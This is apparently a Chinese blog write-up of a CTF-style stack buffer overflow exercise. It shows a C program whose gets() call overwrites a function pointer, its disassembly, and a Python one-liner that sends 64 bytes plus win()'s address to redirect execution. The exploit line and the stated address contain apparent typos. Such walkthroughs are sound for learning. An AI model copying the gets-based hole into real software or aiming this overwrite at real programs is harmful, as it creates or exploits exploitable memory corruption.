首先讲一下objdump,就像他的名字一样可以查看目标文件中文件信息
这里需要用它查看具体的每个函数,gbd一次只能显示一个函数
objdump -d test
这里显示一部分,下面还有 O(∩_∩)O
今天的思路就是题目,把数据覆盖了函数调用的数据会有什么情况呢 没错,就是会执行覆盖的新地址
下面是源码
#include <stdio.h>
#include <string.h>
typedefvoid(*func)(); //这里定义了func类型是函数指针
void win()//输出成功提示信息的函数
{
printf("Congratulations, you pwned it.\n");
}
int main(int argc,char** argv)
{
func fp;
char buffer[64];
fp =NULL;
gets(buffer);// 可引发缓冲区溢出
if(fp)// 判断函数指针变量fp是否不为NULL
{
printf("calling function pointer, jumping to 0x%08X\n", fp);
fp();//调用fp
}
return0;
}
这里是汇编代码
0x08048428<+0>:push %ebp
0x08048429<+1>:mov %esp,%ebp
0x0804842b<+3>:and $0xfffffff0,%esp
; 在栈上开辟0x60字节的空间
0x0804842e<+6>:sub $0x60,%esp
; 初始化fp的值为NULL,其中fp位于[esp+0x5c]
0x08048431<+9>: movl $0x0,0x5c(%esp)
; 执行gets(buffer),其中buffer位于[esp+0x1c]
0x08048439<+17>:lea0x1c(%esp),%eax
0x0804843d<+21>:mov %eax,(%esp)
0x08048440<+24>:call0x8048320<gets@plt>
; 判断fp是否为NULL
0x08048445<+29>: cmpl $0x0,0x5c(%esp)
0x0804844a<+34>:je0x8048467<main+63>
0x0804844c<+36>:mov $0x8048554,%eax
0x08048451<+41>:mov0x5c(%esp),%edx
0x08048455<+45>:mov %edx,0x4(%esp)
0x08048459<+49>:mov %eax,(%esp)
0x0804845c<+52>:call0x8048340<printf@plt>
; 执行fp()
0x08048461<+57>:mov0x5c(%esp),%eax
0x08048465<+61>:call*%eax
0x08048467<+63>:mov $0x0,%eax
0x0804846c<+68>:leave
0x0804846d<+69>:ret
这里没必要多说关键是gets函数上面2句准备参数,得到的输入就存在esp+1c处
<+61>处有call *%eax 跳转地址就是esp+0x5c处的内容
ox5c-0x1c=0x40=064;
输入64个a+win的地址就行了(这里win的地址应该是反序的) (づ ̄ 3 ̄)づ
怎么找到win函数地址呢,就用到了objdump 之前介绍的那一句命令输入就显示该文件含有的所有模块了
如果人家没有用win当名字我就没办法了 O(∩_∩)O 不过可以用gdb查一下输出的内容反正是挺麻烦的
这个题执行命令python -c "print 'A'*64+''\x14\x84\x40\x08"|test 这里win的地址是0x08408414
这次如果写xargs的话就不能覆盖了不知道什么原因求指教 ┭┮﹏┭┮
总结:主要的还是汇编分析,这里的汇编语句和前几篇的差不多就不多说了